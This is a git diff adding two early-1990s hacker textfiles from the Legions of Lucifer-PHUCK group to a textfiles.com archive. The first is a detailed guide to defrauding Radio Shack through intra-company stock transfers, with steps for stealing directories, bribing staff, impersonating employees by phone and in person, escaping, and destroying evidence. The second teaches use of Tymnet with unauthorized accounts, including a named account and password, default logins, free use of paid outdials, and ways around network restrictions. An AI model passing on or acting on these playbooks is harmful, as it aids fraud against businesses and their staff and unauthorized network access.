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textfiles.com/magazines/MISC/kaos01.txt create mode 100644 textfiles.com/magazines/MISC/lch2-001.txt create mode 100644 textfiles.com/magazines/MISC/legalhi.bom create mode 100644 textfiles.com/magazines/MISC/legion-06 diff --git a/textfiles.com/magazines/LOL/lol-17.phk b/textfiles.com/magazines/LOL/lol-17.phk new file mode 100644 index 00000000..dc9cc863 --- /dev/null +++ b/textfiles.com/magazines/LOL/lol-17.phk @@ -0,0 +1,364 @@ +Legions of Lucifer ('l‚jen ov l–cifŠr) n. 1. Any multitude of followers + of the chief evil spirit, Satan. 2. A group of Telecommunications and + Computer Experts that work together as one to cause havok in the + anarchy bound society of this nation. + +PHUCK : Phone Hackers United Crash Kill + +Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST! +We are now: L.o.L-PHUCK + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + + The Radio Shack ICST Scam + +Editor's Note: This file, like others from the L.o.L-PHUCK Tfiles + Group is intended for INFORMATIONAL USE ONLY. The information + contained herein is for your reading pleasure only. The author + and the Legions of Lucifer Tfiles group do **NOT** assume + responsibility for possible legal harrassment endured due to + applying this information. This file serves just merely as + interesting reading material and is not intended to be used. Persons + with criminal mentality and con artists should stop reading at this + point. + +------------------------------------------------------------------------------- +What is ICST? + + ICST stands for Intra-Company Stock Transfer. This is the method of + merchandise delivery between different stores in the chain. An example + of how this works is suppose you go to store A wanting to buy a VGM-300 + VGA Monitor and it is not in stock. They will then try to call local + stores to locate your merchandise, which can be anything from a capacitor + all the way to a stereo system or a Tandy 5000 Personal Computer. So you + can see the potential here, eh kiddies :)! Upon calling, the employee + at store A discovers that store B does have the merchandise and will + be able to pick it up for sale to the customer. + +Preliminary work. + + In order to make things happen, you will need to obtain the store's + confidential phone directory listing. The most efficient way is to make + friends with a dishonest and disgruntled Radio Shack employee and get him + free 'gifts' in exchange for the information. Another method is to have + an extra friend go in the store and have a couple guys keep the employees + busy, then have one guy lift the phone directory, which will be in the + form of a computer printout on either the counter next to the cash + register, or near the store FAX machine. + + You will know you have struck paydirt when you retrieve a document + barring resemblance to the following: + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Store Number ³ Phone Number ³ Location ³ Manager ³ + ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ + ³ 01-XXXX ³ 555-1212 ³ 17 Nowhere St. ³ Tom Bullshit ³ + ³ 01Z-XXXX ³ 555-1213 ³ 37000 Fake Ave. ³ Ima Loser ³ + ³ 11-XXXX ³ 555-3452 ³ 666 Ficticious Blvd³ John Doe ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + Here is a breakdown of the store codes as it pertains to the + company: + + 01 stores: The 'normal' run of the mill Radio Shacks. They are + allowed to sell stereo, tv, vcr, electronics, etc. They also + do carry the low end computer models. The 01's CAN'T sell **ANY** + 386 based models, i.e. 4000 and 5000 families, VGA monitors, + FAX machines, laser printers, etc. + + 01Z stores: Basically they are a support store out in the middle + of BFE [that is Butt Fucking Egypt, for those of you unfamiliar with + the term], these "special" stores are allowed to carry the same + merchandise as the 11 stores, but in far less volume. They are + good to use as destinations when scamming. + + 11 stores: This is the good 'ol Radio Shack Computer Center. These + stores are allowed to sell ALL Radio Shack computer lines from + 1000-5000, FAX machines, printers in 9,24 pin, color, laser, laptops, + and all monitors from mono-VGA. + + This information is VERY crucial to making the sting work, because + this could lead to obvious fuckups and a demise of your civilian life if + you did something VERY lame, such as say that you are coming from an 01 + store and need a Tandy 4025. This would sound VERY bad because you are + selling merchandise you are NOT allowed to stock! + +Setting up the sting. + + The initial planning stages are important. In these stages, you will + merely pick up your Radio Shack catalogue and select your merchandise. + It is also useful to save the flyers in the Sunday sections of major + city newspapers as when merchandise is on a big sale, it is easier to + obtain and they will think a lot less than if it was at full market price. + Also, make up a fake alias. The White Pages provide a good source for + real sounding names. You may also wish to consult popular writers, such + as Piers Anthony and steal a character name [we once used Randy Flagg]. + However we used a 'calling card' always. We always used names like Robert + Smith, Roger Schwartz, Randy Switzer, etc. Get it? They ALL have the + initial R.S = Radio Shack. Cute, eh? + +Making the Telephone Call. + + Ok, so now you have the necessary information in names, numbers, and + parts. It is ALL social engineering from this point out. If you are + young, do NOT attempt this, because I have NEVER seen a Rad Shacker + younger than 16 in a store, and NEVER younger than 18 in a Computer + Center. This portion of the scam is what I call the 'make it or break + it' section. Here are a few details to keep in your mind: + + + Respect the man/woman on the telephone. Remember: The + person IS a coworker! + + + The customer is ANXIOUS and has CASH! + + + You have just started working about 2 weeks ago for the company, + and this is your first major chance at a GOOD commision. + + + The customer will KILL if he doesn't have this item TODAY! + + + [if the chips get down] This is a REPEAT customer! + + Here is a sample dialogue for the telephone call: + + RS: "Good morning. Radio Shack. Dave speaking." + + YOU: "Hello Dave, this is from the store at + . How are you doing?" [Note: ALWAYS greet warmly! + then stab 'em in the back in a minute!] + + RS: "Pretty well, , can I help you with something? + + YOU: "Yes, I have a repeat customer here who is interested in + purchasing the , but we are out of stock currently, and + I have been calling all over the district this morning trying to + hunt this down. Do you have any in stock?" + + RS: "Hold on, let me check" + + 3 minutes and 2 cups of coffee later... + + RS: "Hello ?" + + YOU: "Yes." + + RS: "No. All we have is a floor demo in stock." + + YOU: "But I have a REPEAT customer who has cash and needs the item + today. I have called the Computer Center at Noweheresville + and Fake City and they are out of stock. Is there any way + you could let your floor demo go?" + + RS: "Well, ok, in that case I can make you a deal. About what time + can I expect you in?" + + YOU: "In about 45 minutes-1 hour from now. I am expecting a client in + a few, so I am going to stay around here for a little bit." + + RS: "Ok, see you when you get here, , bye." + + YOU: "Bye." + + Notes: NEVER take stores TOO close together. These guys DO get around. + If you take a store 2 miles down the road, they are like sisters and will + KNOW if a new employee just started etc. The best way is to take a store + about 10-15 miles away, but still within the locale. + + Also, there ARE district managers and runners. Be alert for these types. + Here, the DM is a woman, usually males, however, they are the supervisors + for the whole area, and if you come waltzing in and they happen to be + around for some bullshit and see you, and don't know you [they KNOW and + MEET all hirees!], the shit may hit the fan quickly. + + Keep your eyes peeled for all workers in the store, and make mental notes + when they are on the phone, etc. Always make sure you are in control + of the situation and pay attention to phone conversations. Also, walk + around like it is HOME. Don't be lame and be getting hard off of some + demo program etc, because after all, the SAME damn demo is running back + on the 4015 at your store. + + Also, another thing to note is that you should choose malls if possible + because if something goes wrong it is a LOT easier to get lost amongst + the people, go in other stores, hide, and get to a getaway car. + +Appearance. + + As with any corporation, Tandy Corp, expects their employees to groom + themselves in a similar and presentable manner. Here is what they like + and dislike: + + They are not crazy about facial hair. If men have neatly kept mustaches, + it is ok. ABSOLUTELY no beards, goatees etc. + + Hair must be nicely trimmed, clean looking, no long hair. + + No loud colors. The method of dress is standardized. What they like to + see are white shirts with long sleeves [no sleeve rolling, even in the + summer, remember you are going from an air conditioned store in an air + conditioned car to another air conditioned store...]. Nice stylish + conservative ties, especially solids. Dark trousers, especially black + or navy blue. Dark socks, black, brown, dark blue. And dark dress shoes, + neatly polished. Light grey shoes are acceptable too, NO loafer or + docksiders though. + +Making the visit. + + Ok, now you drive to the location where the sting is about to take place. + I best advise having 1-2 other team members along for backup purposes. + A standard method we used was to have one member go in as a 'customer' + and keep em busy by asking serious questions about high ticket items.] + Plus the other person can act as your 'security guard', watching for + trouble. It is a good idea for the other man to be wearing something + that can be altered unnoticingly to signal you that something is going + wrong and to GET THE HELL OUT. A good idea is a ballcap, which can be + taken off as the distress signal, put on backwards like a catcher, etc. + Another good idea is one of the waist pouches many people carry. Front + side, everything is ok, shifted to the back, they are wise, drop the + mission. + + Once in the store, act calmly, warmly introduce yourself, and stand around + Strange things do happen, like once a woman came into the store I was at + and I had to help her with an item real fast, so I mean it is wise to + have good social engineering skills and basically, be a good bullshitter, + and if this happens, just say you work at another store, however Joe would + be pleased to help you. This saves your ass, plus puts more pressure on + him and he will want to get you out of there faster. + + The next thing I used to do was start talking typical employee crap. + E.g. How long have you worked for the company?, Busy day? etc. + +Plan A - Getting the goods. + + Assuming all goes well, the guy will do one of three things. If you + catch him alone and the store is busy, with customers and your plants, + he will probably just say that he will take care of the paperwork later + and say your goodbyes. + + The second option which is usual circumstances, is he will take you + in the back room, call up the ICST through the intra-store network, + and record the transaction electronically, then he will write out an ICST + form [paper] and give you one copy. It has been a while, but I believe + it is about 4-5 forms: sending store, receiving store, district manager, + and company. Then he will write all the pertinent information [product + name, stock number etc] and then you sign at the X at the bottom of the + form, pick up the merchandise and away you go, off in the sunset... + + The third option is the dreaded verification. If you think he is acting + 'smart' and may want to know more about you, ask to use the phone because + something about the product doesn't look right and you want to consult + your manager. In reality, call your friend sitting at the payphone and + then he is on, and say to the feeb at the store, "Yeah, Mr. Smith wants + to talk to you for a minute.", and it will clear up the bullshit. + +Plan B - Escape. + + At times things go wrong. Remember : It is NOT a crime unless you leave + the store with merchandise, therefore bail out if you have to. Once I was + in a predicament where he was about to call my manager to verify me. I + reacted brilliantly by standing around a minute while he was ringing up + an order, and saying to call my manager, and that I am just going to pull + my car up to the door. In reality, I scurried to my friend's car, laid + down, and he got the fuck out of there. + + Another incidence is if you don't know stuff you should. The older + employees [even 50 miles away as we found out!] are friends and know + what manager is where and all the company gossip. A friend of mine was + in dressed bad [stripped shirt, wrong shoes..] and they were onto him + from the word 'go'. The guy started interrogating him about the manager + whom as we later learned, had transferred to a store 3 weeks before! + So, saying that he just talked to him, when he had been at a new + store for 3 weeks looked VERY bad. He said it was a long trip [60 + miles approx...] and he was going next door to the restaurant for a + quick bite to eat. He got out and a guy tailed him out of the store. + He had to run across a major street, run down the block, jump over a + 9 foot high concrete wall [in dress clothes mind you!], try haggling with + two black construction workers to sell him a pair of overalls, then run + behind the next strip mall. Meanwhile, my accomplice and I faked a + phone call, and we went behind the mall and split up. I went and gave + the in store man my jacket to conceal him and we went into a waterbed + store, meanwhile other friend sneaked around the parking lot and + retrieved my buddy's truck and got to the waterbed factory, and we got + the hell out.. And if that wasn't bad enough, a biker cop drove up to + the store while my friend was retrieving the vehicle. Wonder why? Hah! + + Also, always have some fast cash handy, because you never know if you + may need to hail down a taxi etc real fast to throw them off the track. + +Aftermath. + + My suggestions are to pull about 2-3 good jobs in one day, then lay + low for at least 3 months. Word will not usually get around about the + scam until the ICST processing is done about a month later. However, + if you botched it, looked bad, had a close call - you can BET next + time those two stores do business, they will say what a klutz that + Bob Smith is. Then the manager from store A will say "Who the hell + is Bob Smith?". Then the jig is up, and the scam is out in the air and + they will want you. + + Also, don't plan on hitting any stores where you may have to do + legitimate purchases within the next 6 months, because they WILL + remember you and some shit will hit the fan mighty fast. + + Another good idea is to BURN all the boxes and paper work, plus remove + serial numbers from the merchandise just in case you might ever get + interrogated for something else, they don't have another charge + against you. + + After all is said and done, put on your sysop shades, light up a + cigarette, kick up the radio and have fun with your new equipment... + + + +ÜÜÛÛÛÛÛÛÛÛÛÛÛÜÜ +ÜÜÛÛÛÛßß ÜÜ ßÛÛÛÛÜÜ +ÜÛÛÛÛßÜÛÛÛÛÜ ßßÛÛÛÜ +ÜÛÛÛÛßÛÛÛÛÛÛÛÛßÛÛÛÜ +ÜÛÛÛßÜÛÛÛÛßßÛÛÛÛÜßÛÛÛÜ +ÛÛÛÛßÛÛÛÛß ßÛÛÛÛßÛÛÜ +ÞÛÛÛÝÜÛÛÛÛßßÛÛÛÛÜÛÛÛÜ +ÛÛÛÛÛÛÛÛßßÛÛÛÛÛÛÛ Û +ÞÛÛÛÜÛÛÛÛßßÛÛÛÛÞÛÛÝÜÛß +ÜÜÜÜÜÜÜÜÜÜÜÜÛÛÛÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛß +ÛßßßÜÜÜßßßßÜÛÛÛÛßßßßßßßßßßßßßßÜÜÜÜßßßßßßÜÜÜß +ÜÛßÛÛÛ ÛÛÛÛßßÛÛÛÛÛÛÛ +ßßÛÛÛ ÜÛÛÛÛßßÛÛÛÛÜ ÛÛÛ +ÛÛÛÛÛÛÛßßÛÛÛÛ ÛÛÛÛ +ßÜßßßßßÛÛÛÛÛÛÛß +ßÛÛÛÜÜÜÜÛÛÛÛ +ßÛÛÛÛÜÜÜÜÜÛÛÛÛÛßÛÛÛÛÜ +ßßßÛÛÛÛÛÛÛÛÛÛÛÛßß ßÛÛÛÛ +ßßßß + + "Anarchy is the base of todays society, without it, we would be in chaos" +- Anarchist +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + (œ)egions (“) (œ)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Call these œ.“.œ-PHUCK support boards for information or application +inquiries: + +H.M.S. Queen Mary's Revenge 213/274+1333 œ.“.œ-PHUCK World HQ/1 +The Magical Mystery Board 203/393+1529 œ.“.œ-PHUCK World HQ/2 THG Site +Electric Eye ][ / Elite 313/776+8928 œ.“.œ-PHUCK Dist Site TRAD HQ +Inphiniti's Edge BBS 216/662+5115 œ.“.œ-PHUCK Dist Site Chaos Chrn. +Maze Enterprises Ltd. 916/444+9812 œ.“.œ-PHUCK Dist Site INC & TPS +Astral Plane 305/935+3976 œ.“.œ-PHUCK Dist Site iPX HQ/NASTY +The Morgue +61-7-353-3388 œ.“.œ-PHUCK Australia EMC Site +Interpol II +46-8-29-6716 œ.“.œ-PHUCK Sweden SHA HeadQ. +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ +œegions “f œucifer-PHUCK High Office Staff Member + +Prezident of [œ.“.œ] : Captain Swashbuckler +Prezident of [PHUCK] : Tripin Face +Out of US Representatives : The Undertaker -=- Australia + Mr Big -=- Sweden +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ + This text file is (C)Copyright 1990,91 œ.“.œ-PHUCK, Inc. + œ.“.œ-PHUCK is a registered trademark of QMR, All rights reserved + Any modifications to this text phile is a violation of copyright. + H.M.S. Queen Mary's Revenge 213/274+1333 + The Magical Mystery Board 203/393+1529 +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/textfiles.com/magazines/LOL/lol-18.phk b/textfiles.com/magazines/LOL/lol-18.phk new file mode 100644 index 00000000..0f8dc09f --- /dev/null +++ b/textfiles.com/magazines/LOL/lol-18.phk @@ -0,0 +1,361 @@ +Legions of Lucifer ('l‚jen ov l–cifŠr) n. 1. Any multitude of followers + of the chief evil spirit, Satan. 2. A group of Telecommunications and + Computer Experts that work together as one to cause havok in the + anarchy bound society of this nation. + +PHUCK : Phone Hackers United Crash Kill + +Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST! +We are now: L.o.L-PHUCK + +L.o.L-PHUCK PreZident Note: H.M.S. Queen Mary's Revenge (L.o.L World HQ) has +changed the the board name to: West Coast Technologies, Inc. +----------------------------------------------------------------------------- + +Introduction: +------------- + + Many people may or may not have heard of Tymnet. Tymnet is one of +the best information gathering networks that is around. It seems as though +it were set up with the hacker in mind, but we all know this isn't true. +After becoming expierenced with the network, I found there to be little +information avaliable to the newcomer, with the exception of what is already +avaliable on the network, but as we all know, this leaves the newcomer +craving for more. + + As this file was under construction, a great blow hit the hacker +community on the network; four of the most popular NUIs died (NUIs to +be discussed later). They were VIDEO, and the T.LLOYxx Family. In hopes +of having the community reborn, an additional new NUI has been included. + + For more information regarding Tymnet, Telenet, and other PSNs, +consult the Leigon's of Lucifer Text File #10-11. Although other information +on PSNs is avaliable from Leigon's of Lucifer, this file was written in +mind that the reader is unfamiliar with Tymnet. Terminology that would +appear to be new to the reader is explained, in hopes that you will gain a +greater knowledge of the networks. + +What Is Tymnet?: +---------------- + + Tymnet is an international network designed for two basic reasons. +One, to link computers worldwide in order to exchange information. Two, so +hackers can take advantage of the network and connect to the as many computers +avaliable =). + + Tymnet is linked to computers throughout the world including most +major continents (North/South America, Asia, Europe, Africa, Australia, etc.). +Tymnet is referred to as a PSN, which is an acronym for Packet Switching +Network. A PSN is any network that sends information via packets, in +Tymnet's case, 128 byte packets. + + The following is an example of a simple PSN, which includes three +major components: + + 1) The PAD (Your Local Dialup) + 2) The PSN (The network that you are currently on) + 3) The Host (The computer you connect to via the PSN) + + Use of a PSN is quite simple. First you must connect to your local +PAD, and sign in with a NUI. If the NUI is valid, a colon prompt will follow +(;), at which you may enter any NUA (NUAs to be discussed later), depending +on what level of access the NUI has. The PSN then connects you to the Host, +posing as a relay between you and the host. If this appears confusing, read +through the rest of this file, and browse back through it, and possibly you +will understand the concept a bit better. + + Since Tymnet is not connected to nearly as many businesses as Telenet, +it turns to be more of a communication and information gathering tool then a +scanning one. Hackers on Tymnet, which can be contacted on the many various +chat systems are almost always bound to have information to trade, or give +away. Almost everything is avaliable, from telco, fraud, to hacking. + +Connecting to Tymnet: +--------------------- + + The first thing you must do is find your local Tymnet dialup. If you +already know your dialup, you can skip by this paragraph, and move on. There +are two ways to aquire your dialup. Voice, or data. If you choose to find +out your dialup voice, call 1-(800)-222-0555. Use your touch-tone keypad and +follow the voice prompts. Data is quite simple if you are already familiar +with the logon process on Tymnet. Type 'Information', or 'Info' at the NUI +(Logon) prompt. It's self explanitory from there. You can also dial 1-(800) +336-0149 to find out your local dial, this includes HST Modems. + + You must now prepare your terminal to communicate with Tymnet. Switch +your parity to either 7E1 or 8N1. 7E1 is preferred, as I have encountered +problems using 8N1. Toggle your Local Echo until it appears satisfactory. + + Once connected, Hit return a few times until the following message +appears: + +please type your terminal identifier + + When this occurs, hit 'a' if you have 7E1, or 'o' if you have 8N1 +set up. The 'a' / 'o' combination tells the PAD your parity setting. +Something to this effect will follow: + + -4353:01-007- + please log in: + + You have now successfully connected to Tymnet. + +Usage of NUIs: +-------------- + + NUI is an acronym for Network User Identification. This is much like +the standard 'user name' on your favorite BBS. NUIs are legitimate accounts +given to paying members of Tymnet. Hackers always seem to have a knack for +setting up illegal NUIs though. + + Unlike Telenet, Tymnet NUIs are easy to find. The NUI 'VIDEO', which +was by far one of the most popular hacker NUIs on Tymnet was cancelled during +the construction of this file. Along with it, the T.LLOYxx Family died +(T.LLOY01, T.LLOY02, T.LLOY03). These NUIs are probaby the most free +accounts that have been avaliable; meaning they had extremely little +restrictions. + + The new NUI that was mentoned earlier in the file is 'Parmasterx75'. +The password is 'Par=Tymnet Gawd!'. + +(Editor's Notes: Parmasterx75, and the newer Par NUIs are now dead) + + After entering a legitimate NUI, a colon prompt will appear. This +notifies you that Tymnet is ready to recieve a NUA. NUA is an acronym for +Network User Address. This could be associated with a BBS telephone number, +as they are much alike in certain aspects. + + +Types of NUAs: +-------------- + +Chat Systems- + + Chat systems are probably the most popular of the NUAs to hackers on +the networks. You can find many other hackers that are willing to trade new +information. As well, in-depth conversations on hacking do take place on +chat systems, so they are an excellent place to learn for the newcomer. + + One of the most popular chat systems is QSD France. You can reach +QSD via 208057040540 NUA. It is not a 'Live' chat system, as messages take +some time to exchange. This chat system is also an excellent place to find +other hackers to exchange information with. But be noted, QSD is like a +local chat system in France, so you will, certain times, run into people who +know nothing about hacking. It's best to avoid these people, because they +are usually gay/lesbian, or looking for a fight. Besides, what use do you +have for the general public? When reaching QSD, remember to change your +parity to 8N1. If you logged in with 8N1, don't worry about it. Another +note, QSD treats a destructive backspace as return. Do NOT hit backspace. +The only way to get around the backspace problem, from my knowledge, is to +use a Canadian PAD. + + Most other chat systems are run off either custom software, like +QSD, or off a Unix Shell. The Unix Shell chat systems are a bit harder +to understand, but are much more powerful. When logging in to a Unix chat +system, you will see a Logon: prompt, as most Unix's have. Try using default +accounts to logon (x25, Guest, etc.). When logging onto a Unix Chat System +which automatically places your NUA (Your PAD Address), use the FROM= +command from the logon. RMI Chat System is a perfect example of this. +Use Gast FROM=Hell/Gast as a Username/Password. If you want other hackers +to know the exact geographical location from which you are calling, don't +bother with this, otherwise, be safe, and use the FROM= command. + + Unix Chat Systems resemble closely to the conferences found on +most pay networks (Compu-Shit, GEnie, BIX, etc), as they are 'Live', and +you see messages as soon as the author writes them. + + +Outdials Explained: +------------------- + + Outdials that are avaliable on Tymnet are PC-Persuit (Telenet) +Outdials. PC-Persuit is a pay service from Telenet where you sign up +and pay a monthly fee, and you are allowed a certain amount of long +distance data calls. Of course, when using PC-Persuit Outdials through +Tymnet, you don't have to pay for anything. + + Outdials are restricted only to dial numbers from within that +area code. If you logon to the 213 Outdial, you can only reach data +numbers in 213. These Outdials are referred to as Local Outdials. + + There is another type of Outdials, and there are called Global +Outdials, or, abbreviated, GODs. GODs can call anywhere within the +United States with no restrictions, unlike LODs. The dial format for +GODs usually differs. Ask whomever you recieved the GOD from for +dialing procedures. + + Usage of Outdials is quite simple, after logging into Tymnet, +and entering the NUA of the desired Outdial, you must hit one of three +commands. If you are new to Outdials, they have a help level avaliable +where a program controlls the modem for you via certain commands you +send to it. To reach this help level, hit either CTRL-E or '%' when +you connect to the Outdial. If you wish to use simplified AT commands, +type 'AT', and you are ready. Use the AT level just as you would with +your own modem. Entering a 1+AC+Number is not neccessary, and if done, +will not work correctly. Remember, you are logged into a certain area +code, and you can only call numbers within that area code, so just +type the local 7 digit phone number. + + File transfering through Tymnet/Telenet OutDial through tymnet +is tricky when you are on a BBS, you must ALWAYS switch to 8n1,1 after you +connect to a BBS through a OD, and when you are about to transfer, the only +protocol you can use is PCP Z-Modem, aka MobyTurbo Zmodem, aka Z-Modem '90. +This protocol was made for tymnet OD's and if you don't use it, you will get +a slew of errors in your file and it will just corrupt the file and/or abort +your transfer. + +DNIC Restrictions: +------------------ + + DNIC is an acronym for Data Network Identification Code. A DNIC is +made up of the first 4 digits of any NUA. There are plenty of DNIC lists +around, so I will not include one. A DNIC shows which network, or country +you are connecting to. + + Most of the NUIs that have been around have had very little +restrictions when it comes to connecting to different DNICs, but as they +are slowly dying, you might run into trouble with new NUIs that have +restrictions. + + If you are trying to connect to a system in Germany, and your +NUI barres access to German DNICs, try connecting to another PAD, such +as an Enland PAD, and attempt connecting to the NUA again. You should +not run into many problems. It's harder to scan this way.. but it's +a method around NUI restrictions. + +(Editor's Notes: In this text file, the author refers to your local +Tymnet dialup as a PAD. Technically, it is. Technically, everything +on Tymnet is a PAD. When I use the acronym PAD, I mean an x28/x29 +PAD, and not a local dialup, and most of the rest of the hacker community +on the networks would agree. I find very rare instances where I see +it used in this way.) + +Here is a list of Telenet PC-Pursuit Local Out Dials: + + New Jersey: +3110 201 00 022 2400 Baud + + District of Columbia: +3110 202 00 117 2400 Baud + + Connecticut: +3110 203 00 105 2400 Baud + + Washington: +3110 206 00 208 2400 Baud + + New York: +3110 212 00 028 2400 Baud + + California: +3110 213 00 023 2400 Baud +3110 213 00 413 2400 Baud +3110 714 00 004 2400 Baud +3110 714 00 102 2400 Baud +3110 916 00 007 2400 Baud +3110 408 00 021 2400 Baud + + Texas: +3110 214 00 022 2400 Baud +3110 713 00 024 2400 Baud + + Pennsylvania: +3110 215 00 022 2400 Baud + + Ohio: +3110 216 00 120 2400 Baud + + Colorado: +3110 303 00 021 2400 Baud +3110 303 00 115 2400 Baud + + Florida: +3110 305 00 122 2400 Baud +3110 813 00 124 2400 Baud + + Illinois: +3110 312 00 024 2400 Baud + + Michigan: +3110 313 00 024 2400 Baud + + Missouri: +3110 314 00 005 2400 Baud + + Alabama: +3110 404 00 022 2400 Baud + + Wisconsin: +3110 414 00 120 2400 Baud + + Arizona: +3110 602 00 026 2400 Baud + + Minnesota: +3110 612 00 022 2400 Baud + + Massachussetts: +3110 617 00 026 2400 Baud + + Utah: +3110 801 00 012 2400 Baud + + North Carolina: +3110 919 00 124 2400 Baud + + + Look for more on Tymnet soon from Legions of Lucifer-PHUCK, Inc. +Tymnet is a growing part of the Hacking community, and with your help we +can all make tymnet's information more available to the rest of the hackers. + + + + +ÜÜÛÛÛÛÛÛÛÛÛÛÛÜÜ +ÜÜÛÛÛÛßß ÜÜ ßÛÛÛÛÜÜ +ÜÛÛÛÛßÜÛÛÛÛÜ ßßÛÛÛÜ +ÜÛÛÛÛßÛÛÛÛÛÛÛÛßÛÛÛÜ +ÜÛÛÛßÜÛÛÛÛßßÛÛÛÛÜßÛÛÛÜ +ÛÛÛÛßÛÛÛÛß ßÛÛÛÛßÛÛÜ +ÞÛÛÛÝÜÛÛÛÛßßÛÛÛÛÜÛÛÛÜ +ÛÛÛÛÛÛÛÛßßÛÛÛÛÛÛÛ Û +ÞÛÛÛÜÛÛÛÛßßÛÛÛÛÞÛÛÝÜÛß +ÜÜÜÜÜÜÜÜÜÜÜÜÛÛÛÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛß +ÛßßßÜÜÜßßßßÜÛÛÛÛßßßßßßßßßßßßßßÜÜÜÜßßßßßßÜÜÜß +ÜÛßÛÛÛ ÛÛÛÛßßÛÛÛÛÛÛÛ +ßßÛÛÛ ÜÛÛÛÛßßÛÛÛÛÜ ÛÛÛ +ÛÛÛÛÛÛÛßßÛÛÛÛ ÛÛÛÛ +ßÜßßßßßÛÛÛÛÛÛÛß +ßÛÛÛÜÜÜÜÛÛÛÛ +ßÛÛÛÛÜÜÜÜÜÛÛÛÛÛßÛÛÛÛÜ +ßßßÛÛÛÛÛÛÛÛÛÛÛÛßß ßÛÛÛÛ +ßßßß + + "Anarchy is the base of todays society, without it, we would be in chaos" +- Anarchist +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + (œ)egions (“) (œ)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Call these œ.“.œ-PHUCK support boards for information or application +inquiries: + +West Coast Technologies, Inc. 213/274+1333 œ.“.œ-PHUCK World HQ/1 +The Magical Mystery Board [TEMP--DOWN] œ.“.œ-PHUCK World HQ/2 THG Site +Electric Eye ][ / Elite 313/776+8928 œ.“.œ-PHUCK Dist Site TRAD HQ +Inphiniti's Edge BBS 216/662+5115 œ.“.œ-PHUCK Dist Site LAWS. +The Morgue +61-7-353-3388 œ.“.œ-PHUCK Australia EMC Site +Interpol II +46-8-29-6716 œ.“.œ-PHUCK Sweden SHA HQ +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ +œegions “f œucifer-PHUCK High Office Staff Member + +Prezident of [œ.“.œ] : Captain Swashbuckler +Prezident of [PHUCK] : Tripin Face +Out of US Representatives : The Undertaker -=- Australia + Mr Big -=- Sweden +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ + This text file is (C)Copyright 1990,91 œ.“.œ-PHUCK, Inc. + œ.“.œ-PHUCK is a registered trademark of 